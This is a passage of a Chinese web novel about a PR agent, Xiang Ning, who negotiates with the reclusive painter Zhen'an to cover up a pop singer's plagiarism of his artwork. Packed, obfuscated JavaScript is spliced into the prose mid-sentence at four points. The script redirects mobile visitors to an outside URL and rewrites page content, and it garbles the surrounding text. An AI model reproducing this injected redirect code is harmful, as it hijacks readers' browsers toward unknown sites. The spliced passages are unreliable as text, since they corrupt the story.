“不用万一,他肯定开着录音。对于记者来说,这是个好习惯。”向宁顿了顿,语气变得平和,“但他不是三流娱记,更不是狗仔,犯不着拿我的气话做筏子,用那种上不得台面的手段博眼球。” 向宁虽然当着面不愿给陶温好脸色,但是背着人的时候,她也愿意承认他其实是个好记者。所谓内部转岗,多半是前段时间他报道社会新闻时得罪了不该得罪的人,被“自愿流放”了,否则也不至于沦落到来给况星宸做专访。 见麦秋还是不放心,向宁只得再解释道:“就算他把录音发到网上也没有意义,难道我的声带上烙着况星宸工作室的防伪标志吗?” 语毕,向宁用三倍速重播起了况星宸的采访视频:“比起担心这些,还是抓紧时间想想下一步该怎么走吧。” 视频里,况星宸妆容精致,神采飞扬,带着自信的笑容开口:“告诉大家一个小秘密,这张专辑封面是我亲自设计的哦~其中融入了多少灵感和心血,只有我自己知道。希望大家能通过它,读懂我的心。” 向宁在“亲自设计”一句按下暂停键,思索几秒,不难找到破局思路。 “尽快联系到枕安本人吧。” “有方案了?” “嗯,得想办法说服他配合我们玩个文字游戏。” 经济赔偿也好,资源置换也罢,总之得速战速决,双方统一口径,把这次抄袭风波遮掩过去。 …… 飞速浏览完麦秋整理的有效信息后,向宁不由感叹:况星宸造的孽可真是花样百出啊,也不知道他这次为什么会剽窃到这么小众的画家头上,抄的还是一副少有公开展出记录的作品。 记录……对!展出记录! “帮我查一查这个‘无章美术馆’,枕安的作品只在那里展出过。” 每当想到可行思路,向宁的语速就会变得飞快。 “最好能查到主理人或者策展人的联系方式,电话、社交账号或者邮箱都行。” 给麦秋布置完任务,向宁自己也没闲着,简单跟乔煦晗讲清情况后,跟财务同事拉了个小群,果断敲定了这次危机公关的花销预算。 三人结束通话后没多久,乔煦晗又给向宁补发了一条信息:「谈判时记得尽量压价,还没到年底呢,况星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797486|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宸的公关支出就严重超标了。」 向宁却不情不愿,回道:「反正超支部分也是从他的分红里扣,别老想着替他省钱嘛!」 聊天界面在她连发三条的恶魔emoji上停了几分钟,乔煦晗的回复姗姗来迟:「忘了你烦他了,fine……」 几乎与此同时,麦秋也查到了关键线索。 “无章美术馆没有公开过相关人员的联系方式,资讯网站上只有一些基本信息,而且写得不是很详……” 说到这里,她忽然顿了顿,紧皱的眉头也放松不少:“等等,这点信息对咱们来说完全够用了!” 点进无章美术馆的资讯页签,法人、大股东、董事长的标签都挤在同一个名字下面—— 祝璋。 向宁记得这个名字,她是呈业集团董事长的独生女,也是况星宸的……女朋友? 怪不得况星宸一出手就抄到了小众画家头上,怕不是他哪次和女朋友约会,逛展时看到了枕安的作品,觉得人家大众认知度不高,抄了也不会被发现,所以才敢这么肆无忌惮吧。 看来,这张窗户纸必须得捅破了。 这一次,况星宸几乎立刻就接起了她的电话。 他还以为事情已经解决了,向宁多半是来报喜的,没想到她冷不丁提起了祝璋的名字。 “谁?我不认识啊。”况星宸矢口否认。 “别装,我知道她就是你女朋友。”为了不出卖刘哥,向宁又随口扯了个谎,“狗仔拍到你们约会了,没爆。我用其他艺人的料做置换,暂时压住了。” “就、就算是吧!你要她的联系方式干嘛?”况星宸起初显得有些心虚,紧接着又硬气起来,“向宁,我警告你。你要找麻烦就冲我来,别去为难她!” 乍一听还挺有担当的,看来他上一部古偶剧的台词没白背。 “你我都清楚祝璋是什么身价什么地位,我有几条命啊?敢去为难她?”亏得他们现在是在打电话,要是当着况星宸的面,向宁非得狠狠剜他一眼。 “那你找她干什么?”况星宸的语气仍然冷硬。 “当然是请大小姐出手相助,雪中送炭,美救英雄了。”向宁敷衍道。 况星宸没听出她在讽刺自己,只觉得女朋友受人敬重,他也与有荣焉。 然而向宁好说歹说,他却始终不愿提供祝璋的联系方式:“人家是什么身份,那么大一个豪门的唯一继承人,相当于皇太子好不好!怎么可能随便接闲杂人等的电话?你要找她帮什么忙,我直接跟她说一句不就完了。” 向宁在心里无语冷笑:人家是太子,你况星宸又是个什么东西?连个面首的名分都没混上呢,就摆起驸马的谱了。 “也行,那就麻烦祝女士提供一下枕安的联系方式吧。” “谁?” “画家枕安。” 5. 画家枕安 “画家枕安。” 每个字都是重音。 “你抄了人家的画,至少也该记得人家的名字吧?”向宁没好气道。 况星宸正要回怼两句,想了想,又把气憋回了肚子里。眼下时间宝贵,不是起内讧的时候。事关自己的名誉,他可上心得很。 几分钟后,况星宸给向宁发来了一串电话号码和几条语音。 “这就是枕安的电话,你快点协商吧,还有不到两小时就要采访了。” “还有,我女朋友特地交代了,那人脾气怪,从来不跟陌生人通电话的,只接受短信交流。” “那个……我女朋友还说,因为那幅《回忆余烬》是枕安最看重的作品,没有之一,所以就算她作为合作伙伴,也不好跟他开口求情。咳,你说这事也是够寸的。反正……反正你就让他消消气吧!” 听完语音消息,麦秋满面愁容道:“连祝璋都不好说什么,咱们能行吗?” “咱们?”向宁玩味地咂摸着这个词,手上噼里啪啦地打着字,“你还没出新手村呢,就别急着进副本了,在后方打打辅助就行。” “Yes,madam!”麦秋作敬礼状。 话音落时,向宁的第一条短信已经发了出去:「枕安老师您好,这边是祝璋女士的朋友,想跟您聊聊商业合作相关事宜,请问现在方便详谈吗?预计会占用您20分钟左右的时间。」 没等多久,对面就回复了这条信息。 「嗯。」 惜字如金,倒是没把句号落下。 第一关过得还算顺利,接下来要考虑的就是要怎么谈了。 既然祝璋说枕安从来不跟陌生人通电话,这条路肯定行不通。 短信交流?效率太低,万一聊到一半对方不回复了,她岂不是无计可施?更何况聊这种合作,最好避免留下谈判过程的文字证据。 看来还是得面谈,只是不知道枕安会不会同意,毕竟这种突袭式约见实在不太礼貌。 抱着死马当活马医的想法,向宁回复道:「正好快到饭点了,您选家餐厅吧,我请客~」 对面依然几乎秒回。 「不想出门。」 还好,至少不是不想见人。 向宁面无表情地打着字,文字语气却十分俏皮,和她素日的御姐形象极为割裂:好呢~那我去找您吧,方便发个地址吗~ 这次对面并未立即回复,隔了好几分钟才有动静。 「我还不知道你是谁。」 这个问题确实无法回避,可是具体该怎么回答,还得好好斟酌一番。 说是祝璋的朋友?不太稳妥,毕竟一开始就提过这一茬了。枕安已经顾着祝璋的面子答应了谈合作,现在问的就是向宁所代表的合作方究竟是谁。 在这个问题上绝对不能撒谎,否则即便成功站到对方面前,也聊不了几句就得露馅。 直接说是况星宸团队的公关人员肯定不行,属于自找闭门羹吃。 那……如果报出公司的名字呢?只要枕安对娱乐圈不太熟悉,应该就不会把星桥娱乐和况星宸联系起来吧? 反正也没别的办法,就这么试试吧。 向宁定了定神,沉住气回复道:「嗯嗯,这边是星桥娱乐的PR,叫我向宁就行~」 对面恢复了秒回的速度,旋即甩来四个字。 「有证件吗?」 “啊?”麦秋不解,“这意思是……要看你的身份证还是工作证啊?” “能证明我是星桥的人就行吧。” 向宁从包里摸出工卡来,先拍张了照,又在上面打满密密麻麻的半透明时间水印,这才发给枕安。 麦秋第一次看到她工卡上的证件照,好奇地问:“向宁姐,这是你什么时候的照片呀?” “刚进公司实习的时候拍的,这几年一直没换。”向宁漫不经心地回答着,“怎么,和现在差别很大吗?” “喔,怪不得。”麦秋小声笑笑,“眉眼变化不大,就是照片看着有学生气。” “是哦,”向宁忽然意识到了什么,“枕安不会误会咱们公司派了个初出茅庐的实习生来跟他谈合作吧!” “有这个可能,”麦秋认真分析起来,“毕竟咱这工卡上也没写职级。诶,他回你消息了吗?” “没有。”经她这么一提醒,向宁心里也有点没底,“不过这才三分钟,咱们再等等吧。” 于是二人耐着性子又等了近十分钟,仍然没有任何回音。 麦秋弱弱提议道:“要不要跟枕安解释下呢?” 向宁斟酌半晌,抿着唇摇了摇头。 此时距离专访开始还有一个半小时,向宁在手机上设了个十分钟的倒计时闹钟。 “如果响铃前枕安还没回复消息,咱们就得执行planB了。” “还有planB?是什么呀?” 向宁揉了揉颈椎,一本正经地看向麦秋:“我正在想。” 八分钟。 五分钟。 一分钟。 眼看手机上的倒计时数字越来越小,向宁突然对麦秋说:“用你的手机给枕安打个电话,开免提。如果接通了,就装成地产公司的销售,给他推销楼盘。如果没接通,就给他发一条推销短信。总之别让他意识到咱俩是一伙的就行。” 麦秋虽然未解其意,却不假思索地照做了。 倒计时的数字停在最后几秒,向宁的手机响起了平时极少听到的默认铃声。 与此同时,麦秋的手机扬声器里传来温柔的女声:“您拨打的用户正在通话中,请稍后再拨。” “他在通话中?”麦秋一边编辑推销短信一边猜道,“会是在跟祝璋打电话,确认你的身份吗?” 向宁没有回答,静静看着自己手机屏上的来电显示。 没有任何备注,却不是陌生号码。 而是刚才没往通讯录里存的……可是,怎么会呢? 没时间仔细琢磨了,向宁半信半疑地接起电话,带着练得炉火纯青的商业假笑:“喂,您好。” 略过几秒可疑而尴尬的沉默,对面终于传来一个年轻的男声。 不知是不是错觉,向宁总觉得那声音听起来稍显紧张,两字一顿,隐约压着轻颤。 “您好,我是,枕安。” 向宁倍感惊讶,微微睁大了眼,捂着耳边的手机,对麦秋做了个夸张的口型:枕!安! 麦秋也张大了嘴,发出一个无声的:啊? 二人对视一眼,想法不谋而合——不是说他从来不跟陌生人通电话么?看来,祝璋给的情报不太准确啊。 “枕安老师您好,我是向宁。” 为了不被误会成初出茅庐的实习生,她特意把自己的声线调成了“商务模式”。简言之,就是乔煦晗模仿秀,可惜最多学到三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797487|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分像。 “不是什么老师,”枕安轻声笑了笑,言语间也少了些局促,“直接叫名字就好。” 向宁应了声好,又问:“请问您是改变了主意,打算在电话里详谈合作事宜吗?” 如果是这样就太好了,能省去不少赶路的时间。 “不,还是面谈吧。”不知为何,那声音又变得拘谨起来,“我把地址发给你。” “也好。” 向宁藏起心中失望的同时,不免觉得有些奇怪——既然没改主意,那直接把地址发给她不就好了,何必多此一举打这个电话呢? “你……现在过来吗?”枕安问。 “对的,不打扰吧?” “不打扰。” “那就一会见?”向宁准备挂电话了。 “路上注意安全。”枕安和她同时开口。 两个声音撞在一起,导致向宁没听清他说了什么:“嗯?不好意思,您说什么?” “没什么,”枕安停顿片刻,“一会见。” 收到地址后,向宁立马发动车子,麦秋则忙着设置导航目的地。 然而车刚刚开出几米,导航系统的提示音就让她们傻眼了。 “当前高峰期,规划路线部分路段严重拥堵。” “全程预计耗时——五十七分钟。” 向宁望着处处飘红的地图,一边深呼吸一边默念几遍“不要内耗”,快速调整好了心情。 就算被堵在路上,也不能浪费时间,还有很多功课要做呢。 一会跟枕安谈判,星桥能摆在牌桌上的也就是两张最常规的筹码: 其一,经济补偿。 其二,资源置换。 要把侧重点放在哪里,还得具体问题具体分析。 一般来说,就是缺钱给钱,缺名气给宣发资源,缺人脉给牵线搭桥,缺心眼给画大饼,以此类推。 枕安虽然缺名气,但是未必稀罕娱乐圈的宣发资源,向宁手头也没有艺术圈的人脉能给他拉,真是头疼。 不过既然他名气不大,那么就算不缺钱,应该也不会特别有钱吧? 老天保佑,希望能用最简单的经济补偿解决这桩糟心事! “麦秋,帮我查一下枕安的画作有没有公开的历史交易价格,如果无章美术馆没宣传过,可以去各大拍卖行的官网碰碰运气。” “好嘞!” 麦秋查资料是一把好手,不多时就低声惊呼道:“不是吧,这么贵!” 搜到枕安最新几幅画作的成交价后,麦秋一度怀疑自己漏看了小数点。 此时她们的车正堵在路上一动不动,向宁便凑过去看清了麦秋手机上的数字,波澜不惊道:“几十万一幅……也还好,艺术品能卖到这个价格很正常。” 但是这么一对比,之前定下的补偿金预算就显得过于寒酸了。 “可是枕安的资历和名气都很一般啊……”麦秋不解地喃喃,“他的画为什么也这么值钱呢?” 拍卖网站的推荐语似乎也印证了她的说法。比起其他画家作品下方含金量满满的个人介绍与长评,枕安的简介实在短得可怜,只有一句——浪漫主义新锐画家。 向宁耐心地解答着她的疑问:“我不太了解艺术圈,但是如果用娱乐圈类比一下,还是有蛮多可能性的。” “洗耳恭听!”麦秋虚握右手,将空气话筒送到向宁嘴边。 6. Sorry,职业病 向宁提出了三种可能性。 “第一种——也许枕安的作品偏巧对上了某些收藏家的胃口,他们钱多得花不完,为自己的爱好一掷千金也并不稀奇。” 麦秋若有所思:“喔,就像……有些idol虽然糊穿地心,但只要富婆姐姐喜欢这款,就会心甘情愿为他们砸钱,有时候甚至能花到几百万。” 向宁赞许地笑了笑,继续说道:“第二种——也许那些买家看中的是枕安本人身上的潜力和投资价值。现在花几十万买一幅作品,是为了在将来转手卖上几百万的高价。” “是哦!”麦秋联想到了自己头上,“就像我之前做站姐,也会花钱追一些待爆艺人的行程,其实就是在押宝。如果他们能火,我光卖自己拍到的照片就能赚不少钱了。” 向宁点点头,接着猜道:“第三种可能性不高,权当听个乐吧——也许‘枕安’不是真名,而是其他知名画家披的马甲。圈内有人知情,或者有人眼力好,根据画风猜到了画家的身份,所以才愿意花高价买他的画。如果是这样,几十万一幅画说不定还是捡漏呢。” 麦秋短暂地头脑风暴了一会,却没想到什么例子,于是问道:“娱乐圈也有类似的事吗?” 向宁回忆片刻,答道:“听说有些知名编剧写本子时会披马甲,具体的我也不太清楚。” 麦秋听了,半开玩笑道:“说起披马甲,我刚才确实搜到有批评家说,枕安的画和某位知名画家的风格极为相似,疑有故意模仿之嫌。” “是吗,像谁?” 麦秋重新翻出那个帖子,磕磕巴巴地念道:“亨利艾特·罗纳·克尼普……” 向宁在这方面几乎毫无知识储备量,并不知道那位画家已经过世多年,便依常理推断道:“外国人?那也只能‘像’了,不可能是本人。” 她本以为这个话题大约就此揭过了,麦秋的求知欲却丝毫不减:“除了这些,还有第四种可能吗?” 向宁被她认真的眼神逗得抿唇一笑,却没有正面回答,而是引导道:“人家常说‘举一反三’,现在我这个做老师的都举出‘三’了,你这个当学生的也得试着反个‘一’吧?” “有道理!我想想,第四种可能……”麦秋托了托并不存在的眼镜,“会是……洗钱吗?” 听说画廊和拍卖行是洗钱产业链上最常见的莫比乌斯环,滚几个来回就把脏钱洗干净了。哪怕面对质疑,人家也有话讲——艺术无价嘛。 “怎么说呢……”向宁不好直接否认麦秋的想法,怕打击她的积极性,“虽然不是完全没有可能,但是如果每次只能洗几十万,那效率未免也太低了。倒不如投资拍烂片,每次少说也能洗出八位数来。” 这时,大排长龙的车队终于缓慢地移动起来。向宁将车载音响的音量调大两格,麦秋则陷入了更深的思考。 一路无话,龟速前行。 行程还剩最后几百米时,导航便有些不灵光了。 向宁七拐八拐,将车停在了一条狭窄的胡同口附近,跟路边扯线晾衣服的老太太打听半晌,才搞清楚目标地点的具体位置。 “枕安那么有钱,怎么还住在这么老的居民区啊?”麦秋实在想不通,“难道这里其实卧虎藏龙,他住的是正儿黄儿旗儿正儿宗儿四儿合儿院儿?” “舌头捋直了说话。”向宁轻捏一把麦秋的脸,打开手机备忘录递给她,“你倒是看看地址,谁家四合院有单元号和楼层号啊?” 麦秋只得尴尬地笑笑:“哦哦,忘了这茬。” 此刻天已经黑了大半,二人依照老太太指的路往前走,很快就发觉两侧的路灯越来越少,中间还夹着几个将坏未坏的灯泡,无规律地闪动着,靠近时甚至能听到长短不一的“滋滋”声。 麦秋本就挽着向宁的胳膊,现在更是越抓越紧,不安地问道:“向宁姐,我怎么觉得不大对头呢?有钱人真的会住在这种地方吗?枕安不会在耍我们吧!” 向宁心里也打着鼓,只是并未表现出来。好在剩下这段路并不算长,二人很快就走到了目的地。 这里或许算不上一个小区——没有大门,没有围栏,只有一排老旧的居民楼,突兀地立在小路尽头的分岔一角。四周有几家低矮的蔬果小店紧紧抱在一起,店门都半掩着,从门窗里透出或明或暗的光。 向宁站在单元门前往上看,数到六楼便是顶层,右侧窗户亮着暖色的灯。 离采访开始还有二十分钟,不能再拖了。 这里大概率是枕安的私人住宅,既然没有提前打过招呼,就不好带上麦秋一起去。 “一会我上去跟他谈,你找个亮堂的地方待着。”向宁环顾四周,并没有看到监控摄像头,难免有些不放心,“从现在开始,每隔五分钟给我打个电话报平安。我可能不会接,但是你一定要打。” 麦秋点头答应,同时捏着挎包上的铆钉给自己壮了壮胆。 向宁也不多耽搁,急匆匆上楼去了。 这栋楼没有电梯,狭窄的楼道里装着不大灵敏的声控灯。一梯两户,大多安着隔音较差的老式木门或铁栅栏门,路过时偶尔能听到屋内传来闷闷的电视声响。 好在向宁平时经常健身,所以一口气连爬几层楼也不怎么气喘。 五楼的声控灯似乎坏了,向宁站在其下跺了跺脚,它没有任何反应,六楼的灯却被这一声给震亮了。 那灯光与下面几层的昏黄之色不同,竟然十分白净明亮,也许是新换了灯泡吧。 向宁接着朝六楼走去,发现左右两户装着崭新的门,样式与下面几层格格不入。再走近一看,两边的门锁也是同款的密码锁。 咚咚咚,向宁敲响右侧的房门。 几秒后,猫眼处的明暗变了一变,门内随后传来防盗链滑动的声音。 紧接着,向宁又听到门锁被转动。一圈,两圈,三圈,看来之前这道门被反锁得十分严密,就算知道密码,从外面也是打不开的。 终于,门把手被重重压下。而在房门打开的那一瞬,忽有一股浓郁的饭菜香味扑面而来。 向宁微微抬头定睛一瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797488|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,面前是个年轻人——只看面相应该在二十岁上下,衣着打扮却稍显成熟。 柔软的衬衫干净而平整,袖口款式繁复,似有复古意味。黑色腰封连着细窄背带,更衬其人身姿挺拔。 只是腰间多围了一条半长不短的米色围裙,显得风格有些割裂。 “您好,请问是枕安老师吗?”向宁摆出一个礼貌的微笑。 “是。”他也回以一个微笑,顿了顿,觉得刚才笑得不够明显,于是将那个动作重复一遍,还多停了两秒。显然平时并不常做这个表情。 “直接叫名字就好。”这是他第二次这样说了。 说话间,向宁不着痕迹地持续观察着眼前人—— 他似乎刚洗过澡,不知是不是时间紧的缘故,头发只吹了八分干,发尾还有些潮,半边刘海随意搭在额前。 他的皮肤比常人白些,又或许是在楼道里那盏灯的强光照射下才显得更白。 而在看清他的长相后,向宁顿时职业病发作,脑子里飘过一条弹幕—— “要是能把他的经纪约签下来,每年得赚不少钱吧……” 向宁虽然心理活动极其丰富,但她长久待在特殊的工作环境里,早就见惯了各种风格的帅哥,因而并未露出大惊小怪的表情,面色如常,跟在枕安身后进了门 这套房子并不大,家具少而精致,装饰性的小灯却很多,看着很是温馨。 向宁放眼扫去,右手边是合二为一的客厅与餐厅,桌上摆着热气腾腾的各色菜品。 左边则是一间开放式厨房,灶台上似乎还炖着什么东西。 “真不好意思,打扰您吃晚饭了。”向宁摆出一个带着歉意的笑容。 “不算打扰。” 枕安解下围裙随手挂在窗边的立架上,拉开一把餐椅,看着向宁轻声道:“请坐。” 这份热情与他回短信的风格大相径庭,向宁虽然心存疑虑,表面上却并不推辞,大大方方落了座。谁知刚准备谈正事,包里就猛地传来了鬼吼般的手机铃声。 不是麦秋,而是况星宸。 估计是采访即将开始,他却迟迟等不到向宁的回电,心里越来越没底,所以来催问谈判进展了。 向宁直接挂断电话,将手机放在一边,正要开口,枕安却率先抛出了一个问题—— “你喜欢摇滚乐?” 指的当然是她给况星宸设的专属铃声。 “还行,挺提神的。”向宁不想浪费时间聊闲天,只随口搪塞一句就生硬地转了话题,“我这次来,主要是想——” 话说到一半,又被包里另一个手机的铃声打断了。 晚间新闻片尾曲。打电话的当然也不是麦秋,而是陶温。 这倒是提醒她了,既然陶温现在已经转岗去了文艺频道,这专属铃声也该换一个了。 向宁的手指在挂断键上停了停,有些迟疑。 况星宸和陶温这时候接连给她打电话,别是那边出了什么事吧? 这个电话,到底要不要接呢…… 7. 初次谈判 手机铃声还在响,很吵,惹得向宁有些焦虑。 她带着歉意抬头望了枕安一眼,后者似乎并不介意,微微笑道:“没关系,你先忙。” 语毕起身挽袖,去厨房把刚炖好的汤端上了桌。 向宁接起电话,陶温不知是不是还跟她赌着一口气,语气稍显冷硬道:“我已经到演唱会后台了,十五分钟后开始采访。” “嗯,有事吗?”向宁语速很快。 陶温沉默一瞬,仿佛故意跟她对着干似的,刻意将语速拉慢道:“我刚才跟况星宸打了个照面,他的心虚都快从眼神里溢出来了。你确定他今晚能正面回答我的问题吗?” 向宁依旧言简意赅,显然不想跟他在电话里浪费时间:“确定。” 她把自己的底气不足掩饰得很好,正要找借口挂电话,现成的理由就送上门来了。 就在这时,她放在桌上的手机响起了可爱的动画片主题曲。 「笑一笑,跳一跳,快乐女孩没烦恼!」 是麦秋打来报平安的电话。 枕安一边往碗里盛汤,一边抑不住笑了笑:“你的爱好……还挺广泛的。” 向宁随口应了一声,对陶温敷衍道:“同事找我,不聊了。”继而挂断麦秋打来的电话,把两个手机都调到了振动模式。 枕安加快动作盛完汤,将汤碗推到她面前。 “你是况星宸团队的人?”竟是他先开了口。 向宁有一瞬错愕,不过很快就反应过来:“祝女士跟您打过招呼了?” 想来他不回她消息的那段时间,就是在找祝璋确认情况吧? 枕安点点头,将自己目前所了解的信息简要总结为:“你说的商业合作,就是要我配合他洗白抄袭争议吗?” 这话光听内容似有几分讽刺,可他的语气偏偏像是纯粹的好奇,使向宁一时不好判断他态度如何。 不管怎么说,先道歉总不会有错。 向宁已经做好了代人受过,承受一番愤怒指责的心理准备。毕竟据祝璋说,被剽窃的那幅画是枕安最看重的作品,没有之一。 然而枕安才听了两句开场白,就出言打断了她的致歉,好奇地问道:“向宁小姐,你是播音系毕业的吗?” “嗯?”向宁一怔,猜不透他为什么突然把话题拐到了自己身上,“不是,您为什么这么问?” 枕安眼神一垂,话音里带着浅浅的笑意:“哦,我听你讲起话来字正腔圆,还以为你学的是播音主持呢。” 向宁以前确实苦练过很久的普通话,但这个话题一旦聊起来,就逃不了长篇大论。她现在急着谈正事,不能再浪费时间东拉西扯了。 枕安却没有给她留下机会把话题拉回正轨,继续猜测道:“那……你读的是艺术类院校吗?” 向宁心知这样问下去就没完没了了,却不愿对半生不熟的人据实以告,转念想起麦秋和陶温都是新闻系的,于是随口扯谎道:“我是学新闻的。” 枕安得到了答案,果然点点头不再追问,似乎并未察觉这个参考答案不是正确答案。 向宁思忖片刻,还以为他是因为不想听自己背诵冠冕堂皇的道歉稿,才屡屡故意扯开话题。 于是,她决定下一剂猛药,把最实际的利益放在台面上来谈。 为了留出谈价的空间,向宁给手头的预算打了个八折,用筷子蘸着碗里的汤水,将那个数字写在了空瓷盘上,并将其推到枕安面前。 “关于咱们的合作,您看这个价格可以吗?” “不急。”枕安没有看那个数字,而是搛起一块鱼肉,慢条斯理地剔起刺来,“我更想知道,如果我愿意帮这个忙,你们需要我做什么?” 向宁垂眸假作思索状,片刻后答道:“我们这边可能会回应说——那张专辑封面是况星宸在您的指导下‘参与创作’的,其行为本质并非抄袭,而是共创。” 最理想的洗白方式当然是由枕安本人出面发文,佐证这个说法。 然而枕安并没有任何经过公开认证的社媒账号,向宁也不指望说服他为了这桩糟心事专门搞一个认证账号。就算他愿意帮忙,价格也不好谈。 那就只能退而求其次了—— “放心,我们不会要求您作出任何违心的公开表态,您只要在这个问题上保持沉默就好。” 先铺垫铺垫,把客观上“行不通”说成主观上“不会要求”,至少显得有在考虑对方的心情。 “我们还想买一幅带您署名的画,如果您不舍得出手公开展出过的作品,那么废稿也可以。不过,我们对外的说辞可能会是——这幅画是您送给况星宸的合作礼物。” “也可以”一句,听起来似乎做了让步,实际上废稿才是向宁真正的目标。一方面更容易压价,另一方面,如果况星宸能拿到枕安从未公开展出过的作品,不是更说明他们二人私交甚笃吗? 此外,“封口费”的名字实在不好听,如果想让对方心安理得地收下,就得给人家找个挑不出错的理由。哪怕是高价买一张废纸,只要有“艺术”这块遮羞布,大家面子上总能过得去。 “如果刚才那个数字没有达到您的心理价位,我们也可以再想想办法,提一提价。您放心,反正是况星宸自掏腰包,咱们不用替他省钱。” 就算有意向合作,毕竟被抄了作品,枕安心里难免对况星宸有些怨气。向宁这时站在“咱们”的立场上,给他指出一条能让况星宸破财的路,难道他还有不走的道理? 打完这一套组合拳,向宁已经有了些信心,静待枕安的回应。 然而他却似毫不在乎,也不知有没有把她的话听进心里,只将那块剔净了软刺的鱼肉放在小碗里,推到向宁面前。 “尝尝?”嘴角的笑意若有似无,目光倒是真诚,“这是我的拿手菜,也不知道你吃不吃得惯。” 这是什么意思?向宁不解。 难道是……服从性测试?想看看她的“诚意”? 向宁心里塞满了带着隐形感叹号的问句,脸上却仍旧挂着温柔的笑,垂眸避开枕安的视线,将那块鱼肉塞进了嘴里。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797489|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心那是带有恶作剧性质的黑暗料理,本打算把它当成一颗超大号的药丸,嚼也不嚼,整个吞下去。 没想到筷子一入口,向宁就尝出了滋味,双眼也不由自主地随之一抬,正撞上枕安期待的目光。 “好吃!”这是真心话。 枕安像是终于放了心,颔首抿唇一笑,抢在向宁开口之前站起身来:“那你先吃着,我去找幅画。” 说完就迈着轻快的大步出了门,听声音好像是去了对门房间。 向宁心道:怪不得这两户用的是同款的门与锁,原来是同一家啊。 或许这边是枕安的日常居所,那边是他的画室? 嗡——嗡—— 桌上的手机开始振动,又一个五分钟过去了,麦秋也按时来报平安。 这次向宁接起电话,和她聊了聊谈判进展。 “虽然总觉得哪里怪怪的,但是看枕安的态度,应该八九不离十了,最多再在价码上打一打拉锯战。” 向宁从离她最近的盘子里随意搛了块排骨。本是想随便吃点东西充饥的,筷子一进口却忍不住细细品尝起来。 吃惯了公司食堂和外卖,也不知多久没尝过家常菜的味道了。 麦秋听起来有点疲惫:“唉,你不接电话,况星宸都快把我的手机打爆了。” “让他踏实等着,七点之前,我肯定给他回电。” 向宁挂了电话,忽然想起麦秋还没吃晚饭,于是发了两百块钱红包过去,让她不用在楼下等着,自己找个地方吃饭就行。 麦秋起初坚持不收,直到向宁编了个外勤餐补的瞎话,她才踏踏实实下馆子去了。 「咱公司也太人性化了,一次外勤的餐补居然有二百块!」麦秋发来一句感叹,后面还跟着一张猫猫流口水的表情包。 向宁不由失笑——得,这次又让资本家白捡了一份人情。 不多时,对门传来了关门声。 枕安回来时带着一幅装裱好的画作,尺寸不大,和普通的笔记本电脑差不多。 向宁一眼就认出了那幅画,正是被况星宸抄袭的原作,《回忆余烬》。 枕安把画递给向宁:“用它来‘澄清’,应该会更有说服力。” “您愿意把这幅画卖给我们?”向宁迟疑了片刻才接过它,试探着问,“那……可以告诉我,您的心理价位大概在什么位置吗?” 枕安摇摇头,自顾自去了厨房,一边洗手一边答道:“不是卖,是借,我不要钱。” 那声音和疾速的水流声混在一起,向宁一时竟怀疑起了自己的耳朵。 借?不要钱? 这可不是好兆头。 在娱乐圈幕后混了这么久,向宁深知一个道理——免费的才是最贵的。 她才不相信枕安是什么“圣父病”患者,不但对侵权者毫无怨念,还愿意无偿配合对方洗白。 “借?” 向宁抬高了声音,朝厨房的方向问道。 “那么除了这幅画,我们需要额外偿还的利息是什么呢?” 8. 她有读心术 枕安沉默半晌才挪动步伐坐回原位,在桌上扫视一圈,最终择定了一盘虾,戴上手套一个接一个剥起来。 “他偷了我的灵感,如果要还,也该还一份灵感。” 灵感?怎么还? 向宁感觉自己的头都变大了。 搞艺术的人,说话都这样玄之又玄吗? 如果眼下不是在和他面对面交谈,她高低得发一个表情包过去—— 能给卑职一个明示吗.jpg 向宁在心里暗自叹了口气,尽力维持着面上的微笑:“您的意思是……?” 枕安抬眸望她一眼,小幅度张了张口,思忖片刻,又把嘴边的话咽了回去,摇头道:“算了,用完把画还回来就行,没有别的条件。” 向宁看不懂他的态度。 这摆明了是一桩赔本生意,枕安这么做没道理啊! 